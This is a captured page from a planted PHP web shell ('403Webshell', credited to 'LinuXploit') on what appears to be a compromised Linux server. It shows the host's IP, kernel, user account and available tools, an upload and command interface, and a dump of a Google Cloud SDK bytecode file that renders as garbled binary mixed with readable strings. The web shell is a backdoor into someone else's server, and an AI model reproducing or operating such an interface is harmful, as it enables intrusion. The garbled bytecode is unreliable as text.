403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/firestore/databases/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/firestore/databases/__pycache__/create.cpython-311.pyc
�

������dZddlmZddlmZddlmZddlZddlmZddlmZddl	m
Z
dd	lmZdd
l
mZe
je
je
jje
jje
jj��Gd�de
j������ZdS)
z:Command to create Cloud Firestore Database in Native mode.�)�absolute_import)�division)�unicode_literalsN)�	api_utils)�	databases)�base)�flags)�
propertiesc�F�eZdZdZd�Zd�Zd�Zd�Zd�Ze	d���Z
dS)	�CreateFirestoreAPIa�Create a Google Cloud Firestore database via Firestore API.

  ## EXAMPLES

  To create a Firestore Native database in `nam5`.

      $ {command} --location=nam5

  To create a Datastore Mode database in `us-east1`.

      $ {command} --location=us-east1 --type=datastore-mode

  To create a Datastore Mode database in `us-east1` with a databaseId `foo`.

      $ {command} --database=foo --location=us-east1 --type=datastore-mode

  To create a Firestore Native database in `nam5` with delete protection
  enabled.

      $ {command} --location=nam5 --delete-protection

  To create a Firestore Native database in `nam5` with Point In Time Recovery
  (PITR) enabled.

      $ {command} --location=nam5 --enable-pitr

  To create a Firestore Native database in `nam5` encrypted by a
  Customer-managed encryption key (CMEK).

      $ {command}
      --location=nam5
      --kms-key-name=projects/PROJECT_ID/locations/us/keyRings/KEY_RING_ID/cryptoKeys/CRYPTO_KEY_ID
  c���|dkr"tj��jjjS|dkr"tj��jjjSt
d�|�����)N�firestore-native�datastore-modezinvalid database type: {})r�GetMessages�GoogleFirestoreAdminV1Database�TypeValueValuesEnum�FIRESTORE_NATIVE�DATASTORE_MODE�
ValueError�format)�self�
database_types  �)lib/surface/firestore/databases/create.py�DatabaseTypezCreateFirestoreAPI.DatabaseTypeDso���*�*�*�
�
�
!�
!�
@�
T�
e��
�*�	*�	*�
�
�
!�
!�
@�
T�
c��
�2�9�9�-�H�H�I�I�I�c��|r"tj��jjjStj��jjjS�N)rrr�$DeleteProtectionStateValueValuesEnum�DELETE_PROTECTION_ENABLED�DELETE_PROTECTION_DISABLED)r�enable_delete_protections  r�DatabaseDeleteProtectionStatez0CreateFirestoreAPI.DatabaseDeleteProtectionStatePs@����
�
�
!�
!�
@�
e�
��	����>�c�~�rc���|�"tj��jjjS|r"tj��jjjStj��jjjSr)rrr�,PointInTimeRecoveryEnablementValueValuesEnum�-POINT_IN_TIME_RECOVERY_ENABLEMENT_UNSPECIFIED�POINT_IN_TIME_RECOVERY_ENABLED�POINT_IN_TIME_RECOVERY_DISABLED)r�enable_pitrs  r�DatabasePitrStatez$CreateFirestoreAPI.DatabasePitrStateYsk����
�
�
!�
!�
@�
m�\����
�
�
!�
!�
@�
m�M��	����>�k�	L�rc��|j�,tj���|j���Stj�����S)N)�
kmsKeyName)�kms_key_namerr� GoogleFirestoreAdminV1CmekConfig)r�argss  r�DatabaseCmekConfigz%CreateFirestoreAPI.DatabaseCmekConfigfsU����$�
�
"�
$�
$�
E�
E��&�F����� �"�"�C�C�E�E�Erc�T�tjjj�d���}tj||j|j|�	|j
��|�|j��|�
|j��|�|����S)NT)�required)r
�VALUES�core�project�Getr�CreateDatabase�location�databaser�typer"�delete_protectionr)r(r/)rr.r4s   r�RunzCreateFirestoreAPI.Runms�����$�,�0�0�$�0�?�?�G��#���
��
����$�)�$�$��*�*�4�+A�B�B����t�/�0�0�����%�%���rc��tj|ddg���|�dddddg���|�d	tjd
��t
d���|�d
tjd��dd���|�dtjd��dd���tj|��dS)NTz--region)r1�suggestion_aliasesz--typezThe type of the database.rr)�help�default�choicesz
--databasea            The ID to use for the database, which will become the final
            component of the database's resource name. If database ID is not
            provided, (default) will be used as database ID.

            This value should be 4-63 characters. Valid characters are /[a-z][0-9]-/
            with first character a letter and the last a letter or a number. Must
            not be UUID-like /[0-9a-f]{8}(-[0-9a-f]{4}){3}-[0-9a-f]{12}/.

            Using "(default)" database ID is also allowed.
            z	(default))r>r9r?z--delete-protectiona            Whether to enable delete protection on the created database.

            If set to true, delete protection of the new database will be enabled
            and delete operations will fail unless delete protection is disabled.

            Default to false.
            �
store_trueF)r>�actionr?z
--enable-pitrz�            Whether to enable Point In Time Recovery (PITR) on the created database.

            If set to true, PITR on the new database will be enabled. By default, this feature is not enabled.
            )r	�AddLocationFlag�add_argument�textwrap�dedent�str�AddKmsKeyNameFlag)�cls�parsers  r�ArgszCreateFirestoreAPI.Argsys)��	����:�,���������
(�"�#�%5�6�	��������
�_�
�
�
������� ����
�_��������������
�_����
���	�	�	�
��F�#�#�#�#�#rN)�__name__�
__module__�__qualname__�__doc__rr"r)r/r;�classmethodrK�rrrrs������� � �D
J�
J�
J�������F�F�F�
�
�
��1$�1$��;�1$�1$�1$rr)rO�
__future__rrrrE� googlecloudsdk.api_lib.firestorerr�googlecloudsdk.callioper�$googlecloudsdk.command_lib.firestorer	�googlecloudsdk.corer
�DefaultUniverseOnly�
ReleaseTracks�ReleaseTrack�ALPHA�BETA�GA�CommandrrQrr�<module>r^s0��A�@�&�&�&�&�&�&�������'�'�'�'�'�'�����6�6�6�6�6�6�6�6�6�6�6�6�(�(�(�(�(�(�6�6�6�6�6�6�*�*�*�*�*�*���������T�.�3�T�5F�5I�K�K�J$�J$�J$�J$�J$���J$�J$�K�K���J$�J$�J$r

Youez - 2016 - github.com/yon3zu
LinuXploit